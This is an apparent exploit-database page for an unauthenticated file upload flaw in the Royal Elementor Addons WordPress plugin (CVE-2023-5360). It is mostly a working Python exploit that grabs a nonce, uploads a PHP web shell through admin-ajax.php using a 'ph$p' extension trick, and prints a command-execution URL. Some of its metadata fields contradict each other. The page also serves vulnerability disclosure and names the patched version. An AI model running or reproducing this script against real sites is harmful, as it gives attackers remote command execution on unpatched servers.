header-logo
Suggest Exploit
vendor:
Royal Elementor Addons
by:
Sheikh Mohammad Hasan
6.1
CVSS
HIGH
Unauthenticated Arbitrary File Upload leading to Remote Code Execution (RCE)
434
CWE
Product Name: Royal Elementor Addons
Affected Version From: <= 1.3.78
Affected Version To: 28550
Patch Exists: NO
Related CWE: CVE-2023-5360
CPE: a:royal_elementor_addons_project:royal_elementor_addons:1.3.78
Metasploit:
Platforms Tested: WordPress 6.3.1, Royal Elementor Addons 1.3.78, Ubuntu 22.04 + Apache2 + PHP 8.1
2025

WordPress Plugin Royal Elementor Addons <= 1.3.78 - Unauthenticated Arbitrary File Upload (RCE)

The WordPress plugin Royal Elementor Addons and Templates before version 1.3.79 does not properly validate uploaded files, allowing unauthenticated users to upload arbitrary files, including .php files, which can lead to Remote Code Execution (RCE).

Mitigation:

To mitigate this vulnerability, users should update the Royal Elementor Addons plugin to version 1.3.79 or newer.
Source

Exploit-DB raw data:

# Exploit Title: WordPress Plugin Royal Elementor Addons <= 1.3.78 - Unauthenticated Arbitrary File Upload (RCE)
# Date: 2025-04-04
# Exploit Author: Sheikh Mohammad Hasan (https://github.com/4m3rr0r)
# Vendor Homepage: https://royal-elementor-addons.com
# Software Link: https://downloads.wordpress.org/plugin/royal-elementor-addons.1.3.78.zip
# Version: <= 1.3.78
# Tested on: WordPress 6.3.1, Royal Elementor Addons 1.3.78, Ubuntu 22.04 + Apache2 + PHP 8.1
# CVE: CVE-2023-5360

# Description:
# The Royal Elementor Addons and Templates WordPress plugin before 1.3.79 does not properly validate uploaded files, 
# which allows unauthenticated users to upload arbitrary files (such as .php), leading to Remote Code Execution (RCE).

import requests
import json
import re
import argparse
import tempfile
from urllib.parse import urljoin
from rich.console import Console

requests.packages.urllib3.disable_warnings()
console = Console()

def get_nonce(target):
    try:
        r = requests.get(target, verify=False, timeout=10)
        m = re.search(r'var\s+WprConfig\s*=\s*({.*?});', r.text)
        if m:
            nonce = json.loads(m.group(1)).get("nonce")
            return nonce
    except:
        pass
    return None

def upload_shell(target, nonce, file_path):
    ajax_url = urljoin(target, "/wp-admin/admin-ajax.php")
    with open(file_path, "rb") as f:
        files = {"uploaded_file": ("poc.ph$p", f.read())}
    data = {
        "action": "wpr_addons_upload_file",
        "max_file_size": 0,
        "allowed_file_types": "ph$p",
        "triggering_event": "click",
        "wpr_addons_nonce": nonce
    }
    try:
        r = requests.post(ajax_url, data=data, files=files, verify=False, timeout=10)
        if r.status_code == 200 and "url" in r.text:
            resp = json.loads(r.text)
            return resp["data"]["url"]
    except:
        pass
    return None

def generate_default_shell():
    with tempfile.NamedTemporaryFile(delete=False, suffix=".php") as tmp:
        shell_code = '<?php echo "Shell by 4m3rr0r - "; system($_GET["cmd"]); ?>'
        tmp.write(shell_code.encode())
        return tmp.name

def main():
    parser = argparse.ArgumentParser(description="Royal Elementor Addons <= 1.3.78 - Unauthenticated Arbitrary File Upload (RCE)")
    parser.add_argument("-u", "--url", required=True, help="Target WordPress URL (e.g., https://target.com/)")
    parser.add_argument("-f", "--file", help="Custom PHP shell file to upload")
    args = parser.parse_args()

    console.print("[cyan][*] Getting nonce from WprConfig JS object...[/cyan]")
    nonce = get_nonce(args.url)
    if not nonce:
        console.print("[red][-] Failed to retrieve WprConfig nonce.[/red]")
        return

    console.print(f"[green][+] Nonce found: {nonce}[/green]")

    if args.file:
        shell_file = args.file
        console.print(f"[cyan][*] Using provided shell: {shell_file}[/cyan]")
    else:
        console.print("[cyan][*] No shell provided. Creating default RCE shell...[/cyan]")
        shell_file = generate_default_shell()
        console.print(f"[green][+] Default shell created at: {shell_file}[/green]")

    console.print("[cyan][*] Uploading shell...[/cyan]")
    uploaded_url = upload_shell(args.url, nonce, shell_file)

    if uploaded_url:
        console.print(f"[green][+] Shell uploaded successfully: {uploaded_url}[/green]")
        if not args.file:
            console.print(f"[yellow][>] Access it with: {uploaded_url}?cmd=id[/yellow]")
    else:
        console.print("[red][-] Upload failed. Target may be patched or not vulnerable.[/red]")

if __name__ == "__main__":
    main()